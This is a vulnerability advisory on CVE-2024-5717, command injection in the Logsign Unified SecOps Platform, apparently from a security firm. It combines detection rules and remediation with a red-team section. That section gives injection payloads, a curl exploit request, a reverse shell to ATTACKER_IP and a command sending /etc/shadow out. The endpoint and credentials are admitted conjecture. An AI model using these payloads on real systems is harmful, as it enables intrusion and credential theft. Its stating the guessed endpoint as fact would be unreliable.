CVE-2024-5717

Executive Summary

CVE-2024-5717 is a critical command injection vulnerability in the Logsign Unified SecOps Platform. This flaw allows an authenticated remote attacker to execute arbitrary operating system commands with root privileges by sending a specially crafted request to the HTTP API. The vulnerability stems from improper validation of user-supplied input before it is used in a system call. Although authentication is required, the advisory notes that the existing authentication mechanism can be bypassed, significantly lowering the barrier to exploitation. The CVSS score is 8.8 (High), and no official patch has been released at this time. This report provides a deep technical analysis, detection rules, and exploitation guidance for both Red and Blue Teams.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – Authentication is needed, but can be bypassed.
• User Interaction (UI): None – No user action is required.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Full system compromise leads to complete data disclosure.
• Integrity (I): High – Full system compromise allows modification of all data.
• Availability (A): High – Full system compromise can lead to denial of service.

Threat Level: Critical. The combination of remote exploitation, low complexity, and root-level code execution makes this a high-priority vulnerability for any organization using Logsign Unified SecOps Platform.

Deep Dive & Mechanics

The vulnerability resides in the HTTP API of the Logsign Unified SecOps Platform. The specific flaw is a classic OS command injection (CWE-78). The application takes a user-supplied string from an HTTP request and passes it directly to a system call (e.g., system(), exec(), or popen()) without proper sanitization or validation.

Attack Flow:

1. Authentication Bypass: The attacker first exploits a separate weakness (not detailed in the CVE) to bypass the authentication mechanism. This could be due to hardcoded credentials, weak session management, or an authentication bypass vulnerability.
2. Crafting the Payload: The attacker crafts an HTTP request to a vulnerable API endpoint. The payload includes OS command injection characters (e.g., ;, |, &&, `) followed by the desired command.
3. Command Execution: The Logsign server processes the request, concatenates the user input into a system command string, and executes it. Because the application runs with root privileges, the injected command also runs as root.
4. Post-Exploitation: The attacker can then execute arbitrary commands, install backdoors, exfiltrate data, or pivot to other systems.

Example (Conceptual): If the vulnerable endpoint is /api/v1/execute and expects a parameter cmd, a request like:

POST /api/v1/execute HTTP/1.1
Host: target
Content-Type: application/json

{"cmd": "ping; id"}

Could result in the execution of ping; id on the server, revealing the current user (root).

Vulnerable vs. Patched Code

Since no official patch is available, we can only describe the vulnerable pattern and the expected fix.

Vulnerable Code (Conceptual Python/Flask):

import subprocess
from flask import Flask, request

app = Flask(__name__)

@app.route('/api/v1/execute', methods=['POST'])
def execute():
    user_input = request.json.get('cmd')
    # VULNERABLE: Direct concatenation into shell command
    command = "ping -c 4 " + user_input
    result = subprocess.check_output(command, shell=True)
    return result

Patched Code (Expected):

import subprocess
from flask import Flask, request
import shlex

app = Flask(__name__)

@app.route('/api/v1/execute', methods=['POST'])
def execute():
    user_input = request.json.get('cmd')
    # PATCHED: Use shlex.quote to escape shell metacharacters
    safe_input = shlex.quote(user_input)
    command = "ping -c 4 " + safe_input
    result = subprocess.check_output(command, shell=True)
    return result

The key difference is the use of shlex.quote() (or similar) to escape shell metacharacters, preventing command injection. Alternatively, the application should avoid using shell=True and instead pass arguments as a list.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable Logsign Unified SecOps Platform instance (version unknown, but any version before a patch is vulnerable).
2. Ensure the HTTP API is accessible over the network.
3. Obtain valid credentials or exploit the authentication bypass.

Exploitation Steps:

1. Bypass Authentication: Use a known authentication bypass technique (e.g., default credentials, session fixation, or a separate CVE). For this exercise, assume credentials admin:admin.
2. Identify Vulnerable Endpoint: Use a web fuzzer (e.g., Burp Suite, ffuf) to discover API endpoints that accept user input and execute system commands. Common patterns include /api/v1/execute, /api/v1/ping, /api/v1/traceroute.
3. Craft Payload: Use command injection characters. For example:

   ; id
   | whoami
   && cat /etc/passwd
   `ls -la`
   

4. Execute: Send the crafted request using curl:

   curl -X POST https://target/api/v1/execute \
     -H "Content-Type: application/json" \
     -d '{"cmd": "; id"}'
   

5. Verify: The response should contain the output of the id command, confirming code execution as root.

Advanced Payloads:

• Reverse shell: ; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
• Data exfiltration: ; curl http://ATTACKER_IP/$(cat /etc/shadow)

Blue Team

Detection & Response:

1. Monitor HTTP API Logs: Look for unusual parameters containing shell metacharacters (;, |, &&, `).
2. Network Traffic Analysis: Detect outbound connections from the Logsign server to unknown IPs on unusual ports (e.g., 4444 for reverse shells).
3. Process Monitoring: Alert on execution of suspicious commands like bash, sh, curl, wget from the Logsign process.
4. File Integrity Monitoring: Monitor changes to critical system files (e.g., /etc/passwd, /etc/shadow, /root/.ssh/authorized_keys).

Hunting Queries:

• Search for HTTP requests with cmd parameter containing ;, |, or `.
• Look for processes spawned by the Logsign service that are not typical (e.g., bash, python, perl).

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound connections from the Logsign server to attacker-controlled IPs on ports 80, 443, 4444, 8080.
  • HTTP requests to /api/v1/execute or similar endpoints with shell metacharacters in the cmd parameter.
• File IOCs:
  • New files in /tmp/ with suspicious names (e.g., .backdoor, exploit.sh).
  • Modified system binaries or configuration files.
• Process IOCs:
  • Unusual processes running as root, such as bash, sh, nc, python, perl.
  • Logsign service spawning child processes that are not part of its normal operation.
• Log IOCs:
  • Log entries showing execution of commands like id, whoami, cat /etc/passwd.
  • Failed authentication attempts followed by successful exploitation.

Detection Engineering

YARA Rule

rule CVE_2024_5717_Logsign_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting Logsign Unified SecOps Platform"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-5717"
    strings:
        $cmd_param = "cmd=" nocase
        $shell_meta1 = ";" ascii
        $shell_meta2 = "|" ascii
        $shell_meta3 = "&&" ascii
        $shell_meta4 = "`" ascii
        $api_path = "/api/v1/execute" nocase
    condition:
        $api_path and $cmd_param and any of ($shell_meta*)
}

Sigma Rule

title: CVE-2024-5717 Logsign Command Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to Logsign API with command injection payloads
author: Valters IT
date: 2024-10-27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5717
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/api/v1/execute'
        cs-uri-query|contains|any:
            - ';'
            - '|'
            - '&&'
            - '`'
    condition: selection
falsepositives:
    - Legitimate use of semicolons in parameters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-5717 Logsign Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/v1/execute"; http_uri; pcre:"/(;|\||&&|`)/Ui"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate Affected Systems: If possible, disconnect the Logsign platform from the network until a patch is available.
2. Restrict Network Access: Use firewall rules to limit access to the HTTP API to only trusted IPs.
3. Disable Unnecessary Features: If the vulnerable API endpoint is not required, disable it or block it at the web server level (e.g., using .htaccess or Nginx location block).

Long-Term Fixes:

1. Apply Vendor Patch: Monitor Logsign's official channels for a security update. Apply it immediately when released.
2. Input Validation: Implement strict input validation and sanitization for all API parameters. Use allowlists instead of blocklists.
3. Least Privilege: Run the Logsign service with the minimum necessary privileges. Avoid running as root.
4. Web Application Firewall (WAF): Deploy a WAF with rules to block command injection attempts (e.g., OWASP ModSecurity Core Rule Set).
5. Code Review: Conduct a thorough code review of the HTTP API to identify and fix similar vulnerabilities.

Workaround (if patching is not possible):

• Implement a reverse proxy (e.g., Nginx) that inspects and sanitizes requests before forwarding them to the Logsign backend. For example, reject any request containing shell metacharacters in the cmd parameter.

Valters IT